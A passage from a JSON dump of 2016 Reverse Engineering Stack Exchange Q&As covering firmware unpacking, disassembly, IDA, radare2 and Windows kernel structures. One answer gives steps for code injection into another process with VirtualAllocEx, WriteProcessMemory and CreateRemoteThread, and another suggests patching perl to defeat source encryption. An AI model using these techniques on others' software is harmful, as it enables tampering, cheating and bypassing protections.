char temp = s[i];\n    s[i] = s[j];\n    s[j] = temp;\n}\n</code></pre>\n\n<hr>\n\n<p>Do you see the similarities? I definitely think this is RC4, so your best bet is to hope that the malware uses a static/predictable/weak key, so you can decrypt the communication (if sniffing from outside).</p>\n\n<hr>\n\n<p><strong>TL;DR</strong> You can't decrypt this without the proper key, which may or may not be predictable. Look at how it is generated to find out if it is.</p>\n"
    },
    {
        "Id": "13660",
        "CreationDate": "2016-10-07T08:45:01.433",
        "Body": "<p><a href=\"https://i.stack.imgur.com/mnbu4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mnbu4.png\" alt=\"Screenshot\"></a></p>\n\n<p>IDA failed to construct function correctly. After extending function end and correcting stack I've found that IDA doesnt refresh graph. The green nodes should be one continuous node. Is there any way to fix it?</p>\n",
        "Title": "IDA failed to construct correct graph",
        "Tags": "|ida|call-graph|",
        "Answer": "<p>IDA sometimes flag functions with \"noreturn\". In my situation it was due to exceptions in sub_1B64A30. If function is flagged as \"noreturn\", IDA's analysis stops after calling it.</p>\n\n<p>So, in order to repair graph one should unflag \"noreturn\" (I once had a case, where I couldn't do it tho), undefine calling function, define it back.</p>\n"
    },
    {
        "Id": "13664",
        "CreationDate": "2016-10-07T21:00:16.183",
        "Body": "<p>After following the tutorial <a href=\"http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/\" rel=\"nofollow\">here</a>, I decided I would try and reverse engineer my router's firmware. My router is the TP-Link TD-W8961N and the firmware version is V2.</p>\n\n<p>I have been trying to figure this out for a while now, but have had no luck. The firmware does not contain any obvious filesystem, bootloader or kernel that can be extracted. </p>\n\n<p>From the binwalk analysis, it seems that the router is running ThreadX on MIPS architecture. </p>\n\n<p>Executing <code>binwalk -eM TDW8961N</code>, I get</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n63643         0xF89B          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n63892         0xF994          ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n85043         0x14C33         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66696 bytes\n118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\\\n118804        0x1D014         ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n118824        0x1D028         ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16\n128002        0x1F402         GIF image data, version \"89a\", 200 x 50\n136194        0x21402         GIF image data, version \"89a\", 560 x 50\n253333        0x3DD95         Neighborly text, \"neighbor of your ADSL Router that will forward the packet to the destination. On the LAN, the gateway &lt;/font&gt;e destination. On the LAN, the gateway &lt;/font&gt;\"\n349586        0x55592         Copyright string: \"Copyright (c) 2001 - 2015 TP-LINK TECHNOLOGIES CO., LTD.\"\n386471        0x5E5A7         Copyright string: \"Copyright &amp;copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved.\"\n386489        0x5E5B9         TP-Link firmware header, firmware version: 17256.26992.22113, image version: \" Co., Ltd. All rights reserved.\", product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4475203, kernel length: 1347765096, rootfs offset: 1768969317, rootfs length: 2020868163, bootloader offset: 1347747908, bootloader length: 1229148245\n806847        0xC4FBF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2853276 bytes\n\n\nScan Time:     2016-10-07 22:29:27\nTarget File:   /home/aaron/Desktop/tools/firmware/TD-W8961N/_TD-W8961N-0.extracted/14C33\nMD5 Checksum:  feac8e40efcca119826f811501b36502\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n\n\nScan Time:     2016-10-07 22:29:27\nTarget File:   /home/aaron/Desktop/tools/firmware/TD-W8961N/_TD-W8961N-0.extracted/C4FBF\nMD5 Checksum:  78c0c10cba8fba3ce1c194461ac40fa4\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2141288       0x20AC68        Neighborly text, \"neighbor loss) fail\"\n2144380       0x20B87C        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 8313\n2157896       0x20ED48        Neighborly text, \"neighbordown: can't shutdown OSPF task completely\"\n2168474       0x21169A        ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 769, uncompressed size: 259, data offset from start of block: 28805\n2249704       0x2253E8        HTML document footer\n2250021       0x225525        HTML document header\n2253724       0x22639C        XML document, version: \"1.0\"\n2320029       0x23669D        Base64 standard index table\n2332534       0x239776        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131\n2332646       0x2397E6        Copyright string: \"Copyright (c) 1994 - 2004 ZyXEL Communications Corp.\"\n2332699       0x23981B        Copyright string: \"Copyright (c) 2001 - 2006 TrendChip Technologies Corp.\"\n2332754       0x239852        Copyright string: \"Copyright (c) 2001 - 2006 \"\n2333095       0x2399A7        ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 0, data offset from start of block: 16\n2344978       0x23C812        eCos RTOS string reference: \"ecost\"\n2393676       0x24864C        SHA256 hash constants, big endian\n2395752       0x248E68        Base64 standard index table\n2436753       0x252E91        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 135\n2454640       0x257470        ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131\n2495500       0x26140C        Base64 standard index table\n2537620       0x26B894        XML document, version: \"1.0\"\n2544124       0x26D1FC        XML document, version: \"1.0\"\n2545312       0x26D6A0        XML document, version: \"1.0\"\n2546280       0x26DA68        XML document, version: \"1.0\"\n2551100       0x26ED3C        XML document, version: \"1.0\"\n2555276       0x26FD8C        XML document, version: \"1.0\"\n2558548       0x270A54        XML document, version: \"1.0\"\n2563936       0x271F60        XML document, version: \"1.0\"\n2569916       0x2736BC        XML document, version: \"1.0\"\n2572052       0x273F14        XML document, version: \"1.0\"\n2579160       0x275AD8        XML document, version: \"1.0\"\n2595692       0x279B6C        XML document, version: \"1.0\"\n2605172       0x27C074        XML document, version: \"1.0\"\n2613932       0x27E2AC        XML document, version: \"1.0\"\n2615368       0x27E848        XML document, version: \"1.0\"\n2627752       0x2818A8        XML document, version: \"1.0\"\n2648491       0x2869AB        Copyright string: \"copyright\"\n2658067       0x288F13        Copyright string: \"copyright\" &gt;\"\n2759380       0x2A1AD4        CRC32 polynomial table, big endian\n2827145       0x2B2389        Unix path: /wifi_uni_mac/ROM/nic/hal/MT7603/hal_rom.c\n2827593       0x2B2549        Unix path: /wifi_uni_mac/ROM/nic/hal/MT7603/hal_pwr_mgt_rom.c\n2828329       0x2B2829        Unix path: /wifi_uni_mac/mgmt/mt7603/rlm_phy.c\n2828385       0x2B2861        Unix path: /wifi_uni_mac/mgmt/mt7603/rlm_sensor.c\n2852324       0x2B85E4        Copyright string: \"Copyright (c) 1996-2010 Express Logic Inc. * ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 SN: 3182-197-0401 *\"\n</code></pre>\n\n<p>This creates two files <code>14C33</code> which, when running binwalk, gives no results and <code>C4FBF</code> which gives a similar output as <code>binwalk TDW8961N</code>. It also creates lots of xml files which are similar. </p>\n\n<p>I opened the files 14C33 and C4FBF in a hex editor and noticed that the first two bytes were <code>3C 08</code>. Running <code>file</code> on these two files returns <br /><br />\n<code>14C33: data</code><br />\n<code>C4FBF: data</code> <br /></p>\n\n<p>I Googled these two bytes and came to <a href=\"https://groups.google.com/forum/#!msg/comp.compression/_y2Wwn_Vq_E/SKOF7iE12PEJ\" rel=\"nofollow\">this</a> page where I found that a zlib stream can start with <code>08 3C</code>, although not common. After reading this, I changed the first two bytes so that they read <code>08 3C</code> and <code>file 14C33</code> returned <br /><br />\n<code>14C33: zlib compressed data</code> <br /><br /></p>\n\n<p>I did the same thing with the file <code>C4FBF</code> and when I try to decompress it, it fails. Using gzip, I get <code>unknown suffix -- ignored</code>. I also tried with uncompress and pigz, but they gave similar errors.</p>\n\n<p>Is there something wrong with the <code>zlib compressed data</code>, is <code>file</code> giving a false positive or is there a custom compression algorithm? Also, I don't understand why there is a reference to both eCos and ThreadX OSes. And for the bootloader and kernel offset, is it the offset when the bootloader and kernel are loaded into memory?</p>\n\n<p>The firmware can be downloaded at tp-link.com/en/download/TD-W8961N_V2.html#Firmware</p>\n",
        "Title": "Reverse engineering TP-Link TD-W8961N",
        "Tags": "|firmware|mips|",
        "Answer": "<p>I found the answer. </p>\n\n<p>The router runs ZynOS and needed to be extracted using <a href=\"https://github.com/dev-zzo/router-tools\" rel=\"nofollow noreferrer\">router-tools</a></p>\n\n<p>Once downloaded, I ran the command<br /></p>\n\n<p><code>python zynos.py unpack TDW8961N</code> to unpack the router frimware. All I had to do now was use <code>binwalk -Y file</code> to find out the architecture and then load the files into IDA and disassemble using</p>\n\n<p><a href=\"https://wiki.openwrt.org/doku.php?id=oldwiki:openwrtdocs:hardware:zyxel:p_335wt\" rel=\"nofollow noreferrer\">https://wiki.openwrt.org/doku.php?id=oldwiki:openwrtdocs:hardware:zyxel:p_335wt</a> to figure out where to start the ROM.</p>\n"
    },
    {
        "Id": "13665",
        "CreationDate": "2016-10-07T23:42:56.287",
        "Body": "<p>I am trying to use <code>perl -MO=Deparse</code> to get readable source code from encrypted Perl files.</p>\n\n<p>The Perl script I'm trying to deparse starts with <code>use Filter::Crypto::Decrypt;</code>.  </p>\n\n<p>The error I'm getting is:</p>\n\n<pre><code>Can't run with Perl compiler backend at /System/Library/Perl/5.18/XSLoader.pm line 95. \nBEGIN failed--compilation aborted at /Library/Perl/5.18/darwin-thread-multi-2level/Filter/Crypto/Decrypt.pm line 37.\n</code></pre>\n\n<p>When reading <a href=\"http://search.cpan.org/dist/Filter-Crypto-2.06/Decrypt/lib/Filter/Crypto/Decrypt.pm\" rel=\"nofollow\">this webpage</a>, it says:</p>\n\n<blockquote>\n  <p><strong>Can't run with Perl compiler backend</strong><br>\n  (F) The encrypted Perl file is being run by a perl with the Perl compiler backend enabled, e.g. perl -MO=Deparse file. This is not allowed since it may assist in retrieving the original unencrypted source code.</p>\n</blockquote>\n\n<p>If I understand this correctly, then this is a security measure to prevent people from doing exactly what I'm trying to do. Correct? Is there any way to override this?</p>\n",
        "Title": "Trouble deparsing Perl encrypted with Filter::Crypto::Encrypt",
        "Tags": "|decryption|",
        "Answer": "<p>Since this is an intended prevention and there's no technical limitation behind this error message, it should be easy enough to just patch out the explicit check in the <code>perl</code> executable. You could then have your own version of perl that allows the decryption of the perl program and exposes the original source code.</p>\n"
    },
    {
        "Id": "13667",
        "CreationDate": "2016-10-08T12:32:39.247",
        "Body": "<p>I am messing around with dll injections. I am able to inject a dll with an exported function into some process, but I have a question now:</p>\n\n<p>Is there a standard way to call the exported function of my injected dll?</p>\n\n<p>I can provide code if necessary.</p>\n",
        "Title": "Call function of injected dll",
        "Tags": "|dll|dll-injection|",
        "Answer": "<p>I am not sure if I understood correctly, but if you mean calling the exported function from the binary which just got injected the DLL, then do this:</p>\n\n<pre><code>auto hLib = GetModuleHandleA(\"your_library.dll\");\nauto fn = GetProcAddress(hLib, \"exported_function_name\");\n\n// supposing your function is declared as:\n// extern \"C\" __declspec(dllexport) int __cdecl fn() { ... }\n((int(__cdecl*)(void)) fn)();\n</code></pre>\n\n<p>You might have to check which calling convention your compiler used for the function, though (if you didn't specify any).</p>\n\n<hr>\n\n<p><strong>Edit</strong>: since you want to call the function from the injector rather than the injected binary, you should do something like this:</p>\n\n<ol>\n<li>Use <code>VirtualAllocEx</code> to alloc some bytes in the target process</li>\n<li><p>Use <code>WriteProcessMemory</code> to write shellcode on the target process</p>\n\n<ul>\n<li><p>You will need to write something like this:</p>\n\n<pre><code>mov eax, 0x0BADC0DE ; the offset of your function\ncall eax\n</code></pre></li>\n<li><p>You can use <a href=\"https://defuse.ca/online-x86-assembler.htm\" rel=\"nofollow\">this online service</a> to generate the shellcode.</p></li>\n</ul></li>\n<li><p>Use <code>CreateRemoteThread</code> to run a thread on the shellcode</p></li>\n</ol>\n\n<p>Also, be aware that games usually have anti-cheat systems, and they detect this kind of behaviour (it's quite common).</p>\n\n<hr>\n\n<p>But apart from all of this: you could inject your DLL with <code>VirtualAllocEx</code> -> <code>WriteProcessMemory</code> -> <code>LoadLibrary</code> | <code>CreateRemoteThread</code>, and have Windows call your DLL's <code>DllMain</code> instead of you doing it yourself.</p>\n"
    },
    {
        "Id": "13671",
        "CreationDate": "2016-10-08T18:44:36.890",
        "Body": "<p>I have an (ARM) object file that I want to inspect. There are some instructions that load addresses pointing to another area in the object file. I would like to see the contents of the area, but <code>objdump -Ds</code> shows <code>...</code> and skips the whole section. For example:</p>\n\n<pre><code>000230cc &lt;heap_size_129&gt;:\n   230cc:       00000000        andeq   r0, r0, r0\n\n000230d0 &lt;small_integers&gt;:\n        ...\n\n000231d8 &lt;heap_size_33&gt;:\n   231d8:       00000000        andeq   r0, r0, r0\n</code></pre>\n\n<p>Here, I need the contents of <code>small_integers</code>. Does <code>...</code> mean it is full of <code>andeq r0,r0,r0</code> (i.e., <code>null</code>)?</p>\n\n<p>I cannot find other flags beside <code>-Ds</code> in the <code>objdump</code> manpage that may help here.</p>\n",
        "Title": "Why does objdump show dot dot dot?",
        "Tags": "|arm|objdump|",
        "Answer": "<p><code>...</code> are printed for repeated zero bytes, since that is usually filler data and not interesting. You can use <code>-z, --disassemble-zeroes</code> switch to force their disassembly anyway.</p>\n"
    },
    {
        "Id": "13672",
        "CreationDate": "2016-10-08T22:24:43.673",
        "Body": "<p>I want to search for sequence of bytes in OllyDbg. Is it possible? How can I do this?</p>\n",
        "Title": "Search for sequence of bytes with OllyDbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>Yes, it is.</p>\n\n<ol>\n<li>Right-click on the disassembly view (hex dump works too)</li>\n<li>Go to <code>Search for</code> -> <code>Binary string</code>, or press <kbd>Ctrl</kbd> + <kbd>B</kbd></li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/JVE0A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JVE0A.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13683",
        "CreationDate": "2016-10-09T21:38:47.623",
        "Body": "<p>I've been working for my final project which is a disassembler for AMD64 instruction set, and i was trying to disassemble machine code by hand to understand it correctly. But i got stuck at a x87 instruction.</p>\n\n<p>Machine code of instruction is: <code>dd 04 c5 60 40 08 08...</code></p>\n\n<p>I've checked AMD64 manual vol3, and it says DD is an x87 instruction and with the help of ModRM byte ,which is <code>0b00000100</code>, my ModRM.reg field is <code>000</code> and with this information manual says this instructions meaning is \"FLD mem64real\". But since I've compiled this code for i386 target architecture i think that i shouldn't have 64 bit memory adress. </p>\n\n<p>But the most interesting part is when i checked the binary with objdump, it says that this bytes are corresponds to <code>fldl   0x8084060(,%eax,8)</code> but i can't find any information about FLDL instruction nor how does objdump find this. </p>\n\n<p>So my question is am i doing something wrong ?</p>\n\n<p>How objdump think that instruction is FLDL but manual says its FLD ?</p>\n\n<p>Target machine of binary is i386.</p>\n\n<p>I use AMD64 manual volume 3 to check instructions</p>\n\n<p>Version of objdump is <code>GNU objdump (GNU Binutils for Debian) 2.26.1</code></p>\n\n<p>Here is readelf output of binary</p>\n\n<pre><code>ELF Header\nMagic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \nClass:                             ELF32\nData:                              2's complement, little endian\nVersion:                           1 (current)\nOS/ABI:                            UNIX - System V\nABI Version:                       0\nType:                              EXEC (Executable file)\nMachine:                           Intel 80386\nVersion:                           0x1\nEntry point address:               0x80482c0\nStart of program headers:          52 (bytes into file)\nStart of section headers:          3744 (bytes into file)\nFlags:                             0x0\nSize of this header:               52 (bytes)\nSize of program headers:           32 (bytes)\nNumber of program headers:         8\nSize of section headers:           40 (bytes)\nNumber of section headers:         31\nSection header string table index: 28\n</code></pre>\n",
        "Title": "Stuck in x87 FLD instruction",
        "Tags": "|disassembly|objdump|amd64|",
        "Answer": "<p>So this answer only focuses on the second question of @Efe:\nHow is <code>+eax*8</code> constructed.</p>\n\n<p>You can determine the SIB-offsets with the following steps. We analyze the first two bytes <code>04 c5</code> of the whole instruction:</p>\n\n<pre><code>dd 04 c5 60 40 08 08\n</code></pre>\n\n<p>First, we only focus on the MOD-REG-R/M Byte (look <a href=\"http://www.c-jump.com/CIS77/CPU/x86/X77_0060_mod_reg_r_m_byte.htm\" rel=\"nofollow\">here</a> for details)</p>\n\n<pre><code>MOD-REG-R/M Byte = 04\n--------------------------------------------------\n04   0000 0100\nMOD  00          Meaning: SIB with no displacement\nREG  000         Meaning: eax (32-Bit)\nR/M  100         Meaning: SIB with no displacement\n</code></pre>\n\n<p>Second, we analyze the SIB Byte of the instruction (look <a href=\"http://www.c-jump.com/CIS77/CPU/x86/X77_0100_sib_byte_layout.htm\" rel=\"nofollow\">here</a> for details). Scaled indexed addressing mode uses the second byte (namely, SIB byte) that follows the MOD-REG-R/M.</p>\n\n<pre><code>SIB Byte = C5\n--------------------------------------------------\nc5    1100 0101\nScale 11    Meaning: Index*8\nIndex 000   Meaning: eax register\nBase  101   Meaning: Displacement only\n</code></pre>\n\n<p>The combination of MOD and Base lead to (look <a href=\"http://www.c-jump.com/CIS77/CPU/x86/X77_0110_scaled_indexed.htm\" rel=\"nofollow\">here</a> for details)</p>\n\n<pre><code>MOD = 00 and BASE field = 101:\n--------------------------------------------------\ndisp + eax*n\n</code></pre>\n"
    },
    {
        "Id": "13696",
        "CreationDate": "2016-10-11T10:57:45.383",
        "Body": "<p><em>this is Easy_ELF from Reversing.Kr</em></p>\n\n<p>Right now R2 displays absolute address for a character inside of a string:</p>\n\n<pre><code>  [0x08048454]&gt; pdf\n  ...\n  0x08048454      0fb60521a004.  movzx eax, byte [0x804a021] \n</code></pre>\n\n<p>I already made a flag for global buffer</p>\n\n<pre><code> f glob.passwordBuf 16 @ 0x0804a020 \n</code></pre>\n\n<p>how to apply offset from it to make R2 to display something like</p>\n\n<pre><code> 0x08048454      0fb60521a004.  movzx eax, byte [glob.passwordBuf + 1] \n</code></pre>\n\n<p>? I.e. I want disassembler to use  what <code>fd 0x804a021</code> returns (which is <code>glob.passwordBuf + 1</code>)</p>\n\n<p>I tried to reanalyze the function, but it didn't help.</p>\n",
        "Title": "Radare2: how to change operand from integer value to (flag + offset) in disassembly output?",
        "Tags": "|radare2|",
        "Answer": "<p>This is an enhancement to be done on asm.relsub see <a href=\"https://github.com/radare/radare2/issues/5956\" rel=\"nofollow\">https://github.com/radare/radare2/issues/5956</a></p>\n\n<p>I have created an issue on the radare2 repository, feel free to do similar next time or to come by the IRC or the Telegram channel.</p>\n"
    },
    {
        "Id": "13709",
        "CreationDate": "2016-10-13T06:03:04.517",
        "Body": "<p><a href=\"https://libreboot.org/faq/#intelme\" rel=\"nofollow\">https://libreboot.org/faq/#intelme</a></p>\n\n<blockquote>\n  <p>Introduced in June 2006 in Intel's 965 Express Chipset Family of (Graphics and) Memory Controller Hubs, or (G)MCHs, and the ICH8 I/O Controller Family, the Intel Management Engine (ME) is a separate computing environment physically located in the (G)MCH chip.</p>\n</blockquote>\n\n<p>The Intel Management Engine has access to the CPU's RAM. However, the CPU does not have access to the RAM reserved by the Intel Management Engine.</p>\n\n<p>The idea is simple: the software developer distributes the software encrypted. When the user launches an application, the IME takes over. It loads the encrypted program into the IME's RAM (the CPU does not have access to this). Then, it fetches a public key from a server and decrypts the program in memory. The IME then executes the application.</p>\n\n<p>Alternatively, the public key could be hard-coded in the IME.</p>\n\n<p>I'm just wondering if this method is theoretically uncrackable.</p>\n",
        "Title": "Is this anti-tamper solution fool-proof?",
        "Tags": "|memory|encryption|anti-debugging|",
        "Answer": "<p>This method (if I understand correctly how exactly IME works) is not theoretically uncrackable, it is practically impossible.</p>\n\n<p>The devil, as usual, is in details - this method relies on 2 capabilities that AFAIK IME simply doesn't have - ability to run the application on the main CPU from IME (it requires interaction with the OS, and according to the method definition the decrypted program remains in the memory which is not accessible for main CPU)  and ability to secretly and reliably distribute the code that should run on it (to distribute the public key with the code that should run on IME).</p>\n\n<p>In addition the IME runs on very weak processor (especially in comparison with man CPU itself).</p>\n\n<p>As far as I know IME code is distributed as so-called \"DAL applets\". This is actually something like JAVA ME code, packed in JEFF/DALP format - and @Igor Skochinsky wrote a <a href=\"https://github.com/skochinsky/jeff-tools\" rel=\"nofollow\">set of utilities</a> to unpack it - which means that the public key can be easily found.  </p>\n\n<p>Generally speaking, the main discrepancy here is as follows:</p>\n\n<ul>\n<li>If the application runs on the main CPU, it can be dumped during run, even if it is decrypted by IME and thus the scheme is not unbreakable.</li>\n<li>If in contrary the application runs on the IME it can not be distributed encrypted and it is possible to reverse engineer it and thus the scheme is not unbreakable too.</li>\n</ul>\n"
    },
    {
        "Id": "13712",
        "CreationDate": "2016-10-13T15:52:41.653",
        "Body": "<h1>Problem</h1>\n\n<p>I'm trying to reverse engineer some Windows kernel routines on a Windows 7 x86 (Home Basic) VM with kd. I have already reversed KeInitializeDpc by disassambling it. The problem with <code>KeReadyThread</code> is that I can't tell where the <em>third</em> and the <em>fourth</em> <code>mov</code> are pointing to,as the function doesn't seem to have any argument or anything that can help me.</p>\n\n<p><em>This is the code</em></p>\n\n<pre><code>lkd&gt; uf KeReadyThread  \nnt!KeReadyThread:\n829080f6 8bff            mov     edi,edi  \n829080f8 56              push    esi  \n829080f9 8bf0            mov     esi,eax  \n829080fb 8b4650          mov     eax,dword ptr [esi+50h]  \n829080fe 8b4874          mov     ecx,dword ptr [eax+74h]  \n82908101 f6c107          test    cl,7  \n82908104 7409            je      nt!KeReadyThread+0x19 (8290810f)  \n\nnt!KeReadyThread+0x10:  \n82908106 e8e7cef6ff      call    nt!KiInSwapSingleProcess (82874ff2)  \n8290810b 84c0            test    al,al  \n8290810d 7505            jne     nt!KeReadyThread+0x1e (82908114)  \n\nnt!KeReadyThread+0x19:  \n8290810f e87c70feff      call    nt!KiFastReadyThread (828ef190)  \n\nnt!KeReadyThread+0x1e:  \n82908114 5e              pop     esi  \n82908115 c3              ret\n</code></pre>\n\n<p><em>_KTHREAD structure</em></p>\n\n<pre><code>lkd&gt; dt _KTHREAD\nnt!_KTHREAD\n   +0x000 Header           : _DISPATCHER_HEADER\n   +0x010 CycleTime        : Uint8B\n   +0x018 HighCycleTime    : Uint4B\n   +0x020 QuantumTarget    : Uint8B\n   +0x028 InitialStack     : Ptr32 Void\n   +0x02c StackLimit       : Ptr32 Void\n   +0x030 KernelStack      : Ptr32 Void\n   +0x034 ThreadLock       : Uint4B\n   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER\n   +0x039 Running          : UChar\n   +0x03a Alerted          : [2] UChar\n   +0x03c KernelStackResident : Pos 0, 1 Bit\n   +0x03c ReadyTransition  : Pos 1, 1 Bit\n   +0x03c ProcessReadyQueue : Pos 2, 1 Bit\n   +0x03c WaitNext         : Pos 3, 1 Bit\n   +0x03c SystemAffinityActive : Pos 4, 1 Bit\n   +0x03c Alertable        : Pos 5, 1 Bit\n   +0x03c GdiFlushActive   : Pos 6, 1 Bit\n   +0x03c UserStackWalkActive : Pos 7, 1 Bit\n   +0x03c ApcInterruptRequest : Pos 8, 1 Bit\n   +0x03c ForceDeferSchedule : Pos 9, 1 Bit\n   +0x03c QuantumEndMigrate : Pos 10, 1 Bit\n   +0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit\n   +0x03c TimerActive      : Pos 12, 1 Bit\n   +0x03c Reserved         : Pos 13, 19 Bits\n   +0x03c MiscFlags        : Int4B\n   +0x040 ApcState         : _KAPC_STATE\n   +0x040 ApcStateFill     : [23] UChar\n   +0x057 Priority         : Char\n   +0x058 NextProcessor    : Uint4B\n   +0x05c DeferredProcessor : Uint4B\n   +0x060 ApcQueueLock     : Uint4B\n   +0x064 ContextSwitches  : Uint4B\n   +0x068 State            : UChar\n   +0x069 NpxState         : Char\n   +0x06a WaitIrql         : UChar\n   +0x06b WaitMode         : Char\n   +0x06c WaitStatus       : Int4B\n   +0x070 WaitBlockList    : Ptr32 _KWAIT_BLOCK\n   +0x074 WaitListEntry    : _LIST_ENTRY\n   +0x074 SwapListEntry    : _SINGLE_LIST_ENTRY\n   +0x07c Queue            : Ptr32 _KQUEUE\n   +0x080 WaitTime         : Uint4B\n   +0x084 KernelApcDisable : Int2B\n   +0x086 SpecialApcDisable : Int2B\n   +0x084 CombinedApcDisable : Uint4B\n   +0x088 Teb              : Ptr32 Void\n   +0x090 Timer            : _KTIMER\n   +0x0b8 AutoAlignment    : Pos 0, 1 Bit\n   +0x0b8 DisableBoost     : Pos 1, 1 Bit\n   +0x0b8 EtwStackTraceApc1Inserted : Pos 2, 1 Bit\n   +0x0b8 EtwStackTraceApc2Inserted : Pos 3, 1 Bit\n   +0x0b8 CalloutActive    : Pos 4, 1 Bit\n   +0x0b8 ApcQueueable     : Pos 5, 1 Bit\n   +0x0b8 EnableStackSwap  : Pos 6, 1 Bit\n   +0x0b8 GuiThread        : Pos 7, 1 Bit\n   +0x0b8 UmsPerformingSyscall : Pos 8, 1 Bit\n   +0x0b8 ReservedFlags    : Pos 9, 23 Bits\n   +0x0b8 ThreadFlags      : Int4B\n   +0x0bc ServiceTable     : Ptr32 Void\n   +0x0c0 WaitBlock        : [4] _KWAIT_BLOCK\n   +0x120 QueueListEntry   : _LIST_ENTRY\n   +0x128 TrapFrame        : Ptr32 _KTRAP_FRAME\n   +0x12c FirstArgument    : Ptr32 Void\n   +0x130 CallbackStack    : Ptr32 Void\n   +0x130 CallbackDepth    : Uint4B\n   +0x134 ApcStateIndex    : UChar\n   +0x135 BasePriority     : Char\n   +0x136 PriorityDecrement : Char\n   +0x136 ForegroundBoost  : Pos 0, 4 Bits\n   +0x136 UnusualBoost     : Pos 4, 4 Bits\n   +0x137 Preempted        : UChar\n   +0x138 AdjustReason     : UChar\n   +0x139 AdjustIncrement  : Char\n   +0x13a PreviousMode     : Char\n   +0x13b Saturation       : Char\n   +0x13c SystemCallNumber : Uint4B\n   +0x140 FreezeCount      : Uint4B\n   +0x144 UserAffinity     : _GROUP_AFFINITY\n   +0x150 Process          : Ptr32 _KPROCESS\n   +0x154 Affinity         : _GROUP_AFFINITY\n   +0x160 IdealProcessor   : Uint4B\n   +0x164 UserIdealProcessor : Uint4B\n   +0x168 ApcStatePointer  : [2] Ptr32 _KAPC_STATE\n   +0x170 SavedApcState    : _KAPC_STATE\n   +0x170 SavedApcStateFill : [23] UChar\n   +0x187 WaitReason       : UChar\n   +0x188 SuspendCount     : Char\n   +0x189 Spare1           : Char\n   +0x18a OtherPlatformFill : UChar\n   +0x18c Win32Thread      : Ptr32 Void\n   +0x190 StackBase        : Ptr32 Void\n   +0x194 SuspendApc       : _KAPC\n   +0x194 SuspendApcFill0  : [1] UChar\n   +0x195 ResourceIndex    : UChar\n   +0x194 SuspendApcFill1  : [3] UChar\n   +0x197 QuantumReset     : UChar\n   +0x194 SuspendApcFill2  : [4] UChar\n   +0x198 KernelTime       : Uint4B\n   +0x194 SuspendApcFill3  : [36] UChar\n   +0x1b8 WaitPrcb         : Ptr32 _KPRCB\n   +0x194 SuspendApcFill4  : [40] UChar\n   +0x1bc LegoData         : Ptr32 Void\n   +0x194 SuspendApcFill5  : [47] UChar\n   +0x1c3 LargeStack       : UChar\n   +0x1c4 UserTime         : Uint4B\n   +0x1c8 SuspendSemaphore : _KSEMAPHORE\n   +0x1c8 SuspendSemaphorefill : [20] UChar\n   +0x1dc SListFaultCount  : Uint4B\n   +0x1e0 ThreadListEntry  : _LIST_ENTRY\n   +0x1e8 MutantListHead   : _LIST_ENTRY\n   +0x1f0 SListFaultAddress : Ptr32 Void\n   +0x1f4 ThreadCounters   : Ptr32 _KTHREAD_COUNTERS\n   +0x1f8 XStateSave       : Ptr32 _XSTATE_SAVE\n</code></pre>\n\n<h1>Solution</h1>\n\n<p>The only thing that came to my mind as a possible solution is to run the code and see what the registers point to,but on top of not knowing whether it is correct or not, I don't know how to do it. As you may have guessed I'm pretty inexperienced.</p>\n",
        "Title": "Reverse Engineering Windows kernel routines",
        "Tags": "|windows|assembly|x86|",
        "Answer": "<p>This Thread Popped up Due To Recent Activity</p>\n\n<p>Quoting from The Accepted Answer An Answer By Nirlzr </p>\n\n<blockquote>\n  <p>And specifically, that dereference you're seeing at the top of the\n  assembly you shared is the implementation of ASSERT_THREAD:</p>\n</blockquote>\n\n<p>the Disassembly and Derefernces does not belong to ASSERT_THREAD </p>\n\n<p>the derefernces check the StackCount memeber of _KAPC_STATE.Process.StackCount</p>\n\n<pre><code>kd&gt; dt nt!_ETHREAD Tcb.ApcState.Process-&gt;StackCount.StackCount\n   +0x000 Tcb                                         : \n      +0x040 ApcState                                    : \n         +0x010 Process                                     : \n            +0x074 StackCount                                  : \n               +0x000 StackCount                                  : Pos 3, 29 Bits  \n</code></pre>\n\n<p>googling geoffrey chappel _KTHREAD will provide more information about the overlay and  the Priortity member a char which is fitted inside KAPC_STATE for x86</p>\n"
    },
    {
        "Id": "13717",
        "CreationDate": "2016-10-14T03:13:39.113",
